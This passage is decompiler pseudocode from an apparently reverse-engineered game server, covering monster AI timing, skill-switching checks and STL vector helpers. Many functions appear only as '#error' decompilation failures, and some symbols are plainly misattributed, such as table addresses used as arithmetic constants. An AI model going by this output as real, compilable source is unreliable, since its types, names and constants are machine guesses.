(unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 12; return result; } //----- (00486980) -------------------------------------------------------- TickTimer *__cdecl std::_Copy_backward_opt(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { TickTimer *v4; // ecx@1 TickTimer *result; // eax@1 v4 = _Last; for ( result = _Dest; v4 != _First; *(_DWORD *)&result->m_bEnable = *(_DWORD *)&v4->m_bEnable ) { --v4; --result; result->m_CurDelayTime = v4->m_CurDelayTime; result->m_DelayTime = v4->m_DelayTime; } return result; } //----- (004869C0) -------------------------------------------------------- #error "4869C0: undefined or illegal type '#748' (funcsize=98)" //----- (00486B30) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_Think(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTacticElement::MobActionBase::mab_Think"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTacticElement::MobActionBase::mab_Think"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTacticElement::MobActionBase::mab_Think"); return (MobTacticElement::MobActionBase *)&MobTacticElement::MobActionArgument::Actor::targetting; } //----- (00486B80) -------------------------------------------------------- #error "486B80: undefined or illegal type '#748' (funcsize=59)" //----- (00486C70) -------------------------------------------------------- #error "486C70: undefined or illegal type '#748' (funcsize=65)" //----- (00486D70) -------------------------------------------------------- #error "486D70: undefined or illegal type '#748' (funcsize=44)" //----- (00486E40) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWaitSkillEnd::mab_Think(MobTacticElement::MobActionWaitSkillEnd *this, MobTacticElement::MobActionArgument *argument) { MobTacticElement::MobActionWaitSkillEnd *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTacticElement::MobActionWaitSkillEnd::mab_Think"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTacticElement::MobActionWaitSkillEnd::mab_Think"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( clockwatch.cw_CurrTick >= v2->mawse_EndTime ) v2 = (MobTacticElement::MobActionWaitSkillEnd *)v2->mawse_NextAction; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobTacticElement::MobActionWaitSkillEnd::mab_Think"); return (MobTacticElement::MobActionBase *)v2; } //----- (00486EE0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWander::maw_MetronomeReset(MobTacticElement::MobActionWander *this) { MobTacticElement::MobActionWander *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // ecx@1 unsigned int v4; // edx@1 unsigned int v5; // eax@1 unsigned int v6; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTacticElement::MobActionWander::maw_MetronomeReset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTacticElement::MobActionWander::maw_MetronomeReset"; v2 = rndbox.rb_box[10].rs_point.value; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; rndbox.rb_box[10].rs_point.value = rndbox.rb_box[10].rs_point.mask & (v2 + 1); v3 = clockwatch.cw_CurrTick; v4 = (unsigned int)(10000 * ((unsigned int)rndbox.rb_box[10].rs_slot[rndbox.rb_box[10].rs_point.value] + 55) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; v1->maw_ReturnTick.m_TickInterval = v4; v1->maw_ReturnTick.m_NextTick = v3 + v4; v5 = clockwatch.cw_CurrTick + 10; v1->maw_SearchTick.m_TickInterval = 10; v1->maw_SearchTick.m_NextTick = v5; v6 = clockwatch.cw_CurrTick + 10; v1->maw_WanderTick.m_TickInterval = 10; v1->maw_WanderTick.m_NextTick = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobTacticElement::MobActionWander::maw_MetronomeReset"); return (MobTacticElement::MobActionBase *)v1; } //----- (00486FA0) -------------------------------------------------------- #error "486FA0: undefined or illegal type '#331' (funcsize=25)" //----- (00487020) -------------------------------------------------------- #error "487020: undefined or illegal type '#331' (funcsize=25)" //----- (00487090) -------------------------------------------------------- #error "487090: undefined or illegal type '#748' (funcsize=125)" //----- (00487240) -------------------------------------------------------- #error "487240: undefined or illegal type '#748' (funcsize=275)" //----- (00487650) -------------------------------------------------------- #error "487650: undefined or illegal type '#748' (funcsize=152)" //----- (00487840) -------------------------------------------------------- #error "487840: undefined or illegal type '#748' (funcsize=91)" //----- (00487930) -------------------------------------------------------- #error "487930: undefined or illegal type '#748' (funcsize=83)" //----- (00487A90) -------------------------------------------------------- #error "487A90: undefined or illegal type '#748' (funcsize=269)" //----- (00487E30) -------------------------------------------------------- #error "487E30: undefined or illegal type '#748' (funcsize=219)" //----- (00488130) -------------------------------------------------------- #error "488130: undefined or illegal type '#748' (funcsize=75)" //----- (00488230) -------------------------------------------------------- #error "488230: undefined or illegal type '#748' (funcsize=212)" //----- (004884F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // eax@2 int v4; // ecx@3 signed __int16 v5; // di@4 int v6; // edx@6 unsigned __int16 v7; // bx@6 unsigned __int16 v8; // cx@6 int v9; // eax@8 unsigned __int16 v10; // si@8 bool v11; // cf@8 int v12; // eax@9 bool v13; // zf@9 int v14; // eax@9 int v15; // eax@10 int v16; // eax@14 int v17; // eax@15 char result; // al@19 int v19; // eax@20 signed int v20; // ecx@20 int v21; // edi@21 int v22; // eax@25 signed __int16 curskill; // [sp+Ch] [bp-18h]@6 unsigned __int16 v24; // [sp+10h] [bp-14h]@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1901); if ( v2 && (v3 = *(_DWORD *)(v2 + 1172)) != 0 ) { v4 = *((_DWORD *)v1 + 1900); if ( v4 ) v5 = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1894) + 8) + 12 * v4 + 4); else v5 = -1; v6 = *(_DWORD *)(v3 + 8); v7 = *(_WORD *)(v3 + 4); v8 = *(_WORD *)(v6 + 12 * *(_WORD *)(v3 + 14) + 4); curskill = v5; v24 = *(_WORD *)(v3 + 4); do { if ( v8 >= v7 ) goto LABEL_30; v9 = v8; v10 = v8; v11 = v8 < v7; v8 = *(_WORD *)(v6 + 12 * v8 + 4); if ( !v11 || (v12 = 3 * v9, v13 = *(_BYTE *)(v6 + 4 * v12 + 8) == 0, v14 = v6 + 4 * v12, v13) ) v15 = 0; else v15 = *(_DWORD *)v14; } while ( *(_WORD *)v15 != v5 ); if ( v10 < v7 && (v16 = v6 + 12 * v10, *(_BYTE *)(v16 + 8)) ) v17 = *(_DWORD *)v16; else v17 = 0; if ( *(_WORD *)(v17 + 2) == -1 ) { *((_DWORD *)v1 + 1900) = 0; LABEL_19: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); return 1; } v19 = *((_DWORD *)v1 + 1894); v20 = 1; if ( *(_DWORD *)(v19 + 12) > 1 ) { v21 = *(_DWORD *)(v19 + 8) + 16; while ( 1 ) { v22 = v10 < v7 && *(_BYTE *)(v6 + 12 * v10 + 8) ? *(_DWORD *)(v6 + 12 * v10) : 0; if ( *(_WORD *)v21 == *(_WORD *)(v22 + 2) ) break; ++v20; v21 += 12; if ( v20 >= *(_DWORD *)(*((_DWORD *)v1 + 1894) + 12) ) goto LABEL_29; v7 = v24; } *((_DWORD *)v1 + 1900) = v20; goto LABEL_19; } LABEL_29: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange : Changed skill not found", (unsigned __int16)curskill); LABEL_30: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange"); result = 0; } return result; } //----- (00488720) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_HPLow(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // ecx@2 int v4; // eax@3 unsigned __int16 v5; // si@6 unsigned __int16 v6; // di@8 int v7; // ecx@9 int v8; // eax@9 unsigned __int16 v9; // dx@9 bool v10; // cf@9 int v11; // edx@11 int v12; // eax@15 int v13; // edi@16 unsigned int v14; // edi@18 int v15; // eax@20 int v16; // eax@21 char result; // al@25 int v18; // eax@26 signed int v19; // ecx@26 int v20; // edx@27 int v21; // edi@29 int v22; // eax@30 int v23; // [sp+Ch] [bp-24h]@2 signed __int16 curskill; // [sp+10h] [bp-20h]@4 unsigned __int16 lt; // [sp+18h] [bp-18h]@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 1901); if ( v2 && (v3 = *(_DWORD *)(v2 + 1176), v23 = *(_DWORD *)(v2 + 1176), v3) ) { v4 = *((_DWORD *)v1 + 1900); if ( v4 ) curskill = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1894) + 8) + 12 * v4 + 4); else curskill = -1; v5 = *(_WORD *)(*(_DWORD *)(v3 + 8) + 12 * *(_WORD *)(v3 + 14) + 4); while ( 1 ) { v6 = *(_WORD *)(v3 + 4); if ( v5 >= v6 ) goto LABEL_35; v7 = *(_DWORD *)(v3 + 8); v8 = v5; v9 = v5; v10 = v5 < v6; v5 = *(_WORD *)(v7 + 12 * v5 + 4); lt = v9; if ( v10 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v11 = *(_DWORD *)(v7 + 12 * v8); else v11 = 0; if ( *(_WORD *)v11 == curskill ) { if ( lt < v6 && (v12 = v7 + 12 * v8, *(_BYTE *)(v12 + 8)) ) v13 = *(_DWORD *)v12; else v13 = 0; v14 = (unsigned int)((unsigned int)(*(_DWORD *)(v13 + 4) * (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1244))(v1)) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1) < v14 ) break; } v3 = v23; } if ( lt < *(_WORD *)(v23 + 4) && (v15 = *(_DWORD *)(v23 + 8) + 12 * lt, *(_BYTE *)(v15 + 8)) ) v16 = *(_DWORD *)v15; else v16 = 0; if ( *(_WORD *)(v16 + 2) == -1 ) { *((_DWORD *)v1 + 1900) = 0; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); return 1; } v18 = *((_DWORD *)v1 + 1894); v19 = 1; if ( *(_DWORD *)(v18 + 12) > 1 ) { v20 = *(_DWORD *)(v18 + 8) + 16; while ( 1 ) { if ( lt < *(_WORD *)(v23 + 4) && (v21 = *(_DWORD *)(v23 + 8), *(_BYTE *)(v21 + 12 * lt + 8)) ) v22 = *(_DWORD *)(v21 + 12 * lt); else v22 = 0; if ( *(_WORD *)v20 == *(_WORD *)(v22 + 2) ) break; ++v19; v20 += 12; if ( v19 >= *(_DWORD *)(*((_DWORD *)v1 + 1894) + 12) ) goto LABEL_34; } *((_DWORD *)v1 + 1900) = v19; goto LABEL_25; } LABEL_34: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow : Changed skill not found", (unsigned __int16)curskill); LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_HPLow"); result = 0; } return result; } //----- (004889B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_TargetState(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@2 int v5; // eax@3 signed __int16 v6; // bx@4 unsigned __int16 v7; // si@6 unsigned __int16 v8; // di@8 int v9; // ecx@9 int v10; // eax@9 unsigned __int16 v11; // bp@9 bool v12; // cf@9 int v13; // edx@11 int v14; // eax@15 int v15; // eax@16 int v16; // eax@20 int v17; // eax@21 char result; // al@25 int v19; // eax@26 signed int v20; // ecx@26 int v21; // edx@27 int v22; // eax@29 int v23; // eax@30 int v24; // [sp+Ch] [bp-1Ch]@2 void *v25; // [sp+10h] [bp-18h]@1 v2 = this; v25 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 1901); if ( v3 && (v4 = *(_DWORD *)(v3 + 1180), v24 = *(_DWORD *)(v3 + 1180), v4) ) { v5 = *((_DWORD *)v2 + 1900); if ( v5 ) v6 = *(_WORD *)(*(_DWORD *)(*((_DWORD *)v2 + 1894) + 8) + 12 * v5 + 4); else v6 = -1; v7 = *(_WORD *)(*(_DWORD *)(v4 + 8) + 12 * *(_WORD *)(v4 + 14) + 4); while ( 1 ) { v8 = *(_WORD *)(v4 + 4); if ( v7 >= v8 ) goto LABEL_35; v9 = *(_DWORD *)(v4 + 8); v10 = v7; v11 = v7; v12 = v7 < v8; v7 = *(_WORD *)(v9 + 12 * v7 + 4); if ( v12 && *(_BYTE *)(v9 + 12 * v10 + 8) ) v13 = *(_DWORD *)(v9 + 12 * v10); else v13 = 0; if ( *(_WORD *)v13 == v6 ) { if ( v11 < v8 && (v14 = v9 + 12 * v10, *(_BYTE *)(v14 + 8)) ) v15 = *(_DWORD *)v14; else v15 = 0; if ( (*(int (__stdcall **)(_DWORD))(*(_DWORD *)a2 + 988))(*(_DWORD *)(v15 + 4)) ) break; } v4 = v24; } if ( v11 < *(_WORD *)(v24 + 4) && (v16 = *(_DWORD *)(v24 + 8) + 12 * v11, *(_BYTE *)(v16 + 8)) ) v17 = *(_DWORD *)v16; else v17 = 0; if ( *(_WORD *)(v17 + 2) == -1 ) { *((_DWORD *)v25 + 1900) = 0; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); return 1; } v19 = *((_DWORD *)v25 + 1894); v20 = 1; if ( *(_DWORD *)(v19 + 12) > 1 ) { v21 = *(_DWORD *)(v19 + 8) + 16; while ( 1 ) { if ( v11 < *(_WORD *)(v24 + 4) && (v22 = *(_DWORD *)(v24 + 8) + 12 * v11, *(_BYTE *)(v22 + 8)) ) v23 = *(_DWORD *)v22; else v23 = 0; if ( *(_WORD *)v21 == *(_WORD *)(v23 + 2) ) break; ++v20; v21 += 12; if ( v20 >= *(_DWORD *)(*((_DWORD *)v25 + 1894) + 12) ) goto LABEL_34; } *((_DWORD *)v25 + 1900) = v20; goto LABEL_25; } LABEL_34: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState\t : Changed skill not found", (unsigned __int16)v6); LABEL_35: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); result = 0; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SkillExchange_TargetState"); result = 0; } return result; } //----- (00488C20) -------------------------------------------------------- TickTimer *__cdecl std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { TickTimer *v5; // ecx@1 TickTimer *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { result->m_CurDelayTime = v5->m_CurDelayTime; result->m_DelayTime = v5->m_DelayTime; *(_DWORD *)&result->m_bEnable = *(_DWORD *)&v5->m_bEnable; } ++v5; } return result; } //----- (00488C60) -------------------------------------------------------- #error "488C60: undefined or illegal type '#748' (funcsize=178)" //----- (00488EC0) -------------------------------------------------------- #error "488EC0: undefined or illegal type '#748' (funcsize=692)" //----- (004897D0) -------------------------------------------------------- #error "4897D0: undefined or illegal type '#748' (funcsize=150)" //----- (004899C0) -------------------------------------------------------- TickTimer *__thiscall std::vector>::_Ucopy(std::allocator *_Al, TickTimer *_First, TickTimer *_Last, TickTimer *__formal) { return std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (004899E0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last) { Navigator::NaviPoint *i; // esi@1 for ( i = _First; i != _Last; ++i ) ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)i); } //----- (00489A10) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 Navigator::NaviPoint *v2; // esi@1 Navigator::NaviPoint *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00489A60) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 Navigator::NaviPoint *v6; // eax@2 Navigator::NaviPoint *v7; // ebx@2 Navigator::NaviPoint *v8; // edi@2 DiceTaiSaiDividind *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(Navigator::NaviPoint **)&_Last, v4->_Mylast, *(Navigator::NaviPoint **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = v6; for ( i = (DiceTaiSaiDividind *)v6; (Navigator::NaviPoint *)i != v7; i = (DiceTaiSaiDividind *)((char *)i + 12) ) ShineObjectClass::ShineMobileObject::smo_ChineCastCut(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (00489AD0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00489B40) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::NaviPoint *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 int v7; // eax@1 Navigator::NaviPoint *v8; // ebx@1 unsigned int v9; // ecx@1 signed int v10; // edx@2 unsigned int v11; // edi@3 int v12; // eax@5 int v13; // eax@10 int v14; // ecx@14 int v15; // eax@17 void *v16; // eax@21 void *v17; // ebx@21 TickTimer *v18; // ST18_4@21 int v19; // eax@21 int v20; // edi@23 Navigator::NaviPoint *v21; // eax@23 TickTimer *v22; // ecx@26 std::vector >::iterator v23; // ebx@26 Navigator::NaviPoint *v24; // ecx@27 TickTimer *v25; // ST24_4@27 unsigned int v26; // edi@27 int v27; // [sp+0h] [bp-30h]@1 unsigned int _Tmp; // [sp+Ch] [bp-24h]@1 unsigned int v29; // [sp+10h] [bp-20h]@1 int v30; // [sp+14h] [bp-1Ch]@1 void *_Newvec; // [sp+18h] [bp-18h]@21 std::vector > *thisa; // [sp+1Ch] [bp-14h]@1 int *v33; // [sp+20h] [bp-10h]@1 int v34; // [sp+2Ch] [bp-4h]@1 TickTimer *_Wherea; // [sp+38h] [bp+8h]@28 TickTimer *_Ptr; // [sp+3Ch] [bp+Ch]@21 int _Vala; // [sp+40h] [bp+10h]@21 TickTimer *_Valb; // [sp+40h] [bp+10h]@26 v4 = this; v5 = _Val->np_RealX; v6 = _Val->np_RealY; v7 = *(_DWORD *)&_Val->np_IsDeleted; v33 = &v27; thisa = v4; _Tmp = v5; v29 = v6; v30 = v7; v8 = v4->_Myfirst; v9 = 0; v34 = 0; if ( v8 ) { v10 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v8)) >> 32) >> 1; v9 = v10 + ((unsigned int)v10 >> 31); } v11 = _Count; if ( _Count ) { if ( v8 ) v12 = v4->_Mylast - v8; else v12 = 0; if ( 357913941 - v12 < _Count ) std::vector>::_Xlen(v4); if ( v8 ) v13 = v4->_Mylast - v8; else v13 = 0; if ( v9 >= _Count + v13 ) { v22 = (TickTimer *)v4->_Mylast; v23 = _Where; _Valb = (TickTimer *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v22[-_Count]; v4->_Mylast = (Navigator::NaviPoint *)std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( &v22[-_Count], v22, v22, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v22 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v23, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v23, (TickTimer *)(*(_DWORD *)&v23 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, v22, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v24 = v4->_Mylast; v25 = (TickTimer *)v4->_Mylast; LOBYTE(v34) = 3; std::vector>::_Ufill( (std::vector > *)v4, v25, _Count - (signed int)((char *)v24 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v26 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (Navigator::NaviPoint *)v26; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v26 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v9 >> 1) >= v9 ) v14 = (v9 >> 1) + v9; else v14 = 0; if ( v8 ) v15 = v4->_Mylast - v8; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 12 * v14; v16 = operator new(12 * v14); v17 = v16; v18 = (TickTimer *)v4->_Myfirst; _Newvec = v16; LOBYTE(v34) = 1; _Ptr = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v18, *(TickTimer **)&_Where, (TickTimer *)v16, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v11, (TickTimer *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, (TickTimer *)v4->_Mylast, &_Ptr[v11], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v19 = (int)v4->_Myfirst; v34 = 0; if ( v19 ) v19 = (signed int)((char *)v4->_Mylast - v19) / 12; v20 = v19 + v11; v21 = v4->_Myfirst; if ( v21 ) { std::vector>::_Destroy(v4, v21, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (Navigator::NaviPoint *)((char *)v17 + _Vala); v4->_Mylast = (Navigator::NaviPoint *)((char *)v17 + 12 * v20); v4->_Myfirst = (Navigator::NaviPoint *)v17; } } v34 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&_Tmp); } //----- (00489E40) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Navigator::UnitPoint *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::vector >::const_iterator v8; // ST04_4@7 std::vector >::const_iterator v9; // ST00_4@7 Navigator::UnitPoint *v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *_Ptr; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x1FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 8 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::vector >::const_iterator)v2->_Mylast; v9 = (std::vector >::const_iterator)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v9, v8, (KQContribute::PlayerContribute *)v6, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (Navigator::UnitPoint *)((char *)v7 + _Counta); v2->_Mylast = (Navigator::UnitPoint *)((char *)v7 + 8 * v4); v2->_Myfirst = (Navigator::UnitPoint *)v7; } } //----- (00489EFA) -------------------------------------------------------- void __usercall _L164561(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00489F10) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Navigator::NaviPoint *v3; // eax@3 unsigned int v4; // ebx@6 TickTimer *v5; // ST04_4@6 TickTimer *v6; // ST00_4@6 Navigator::NaviPoint *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > 0x15555555 ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (Navigator::NaviPoint *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 12 * _Count; _Ptr = operator new(12 * _Count); v5 = (TickTimer *)v2->_Mylast; v6 = (TickTimer *)v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v6, v5, (TickTimer *)_Ptr, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; v12 = -1; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { std::vector>::_Destroy(v2, v7, v2->_Mylast); operator delete(v2->_Myfirst); } v2->_Myend = (Navigator::NaviPoint *)((char *)_Ptr + v4); v2->_Mylast = (Navigator::NaviPoint 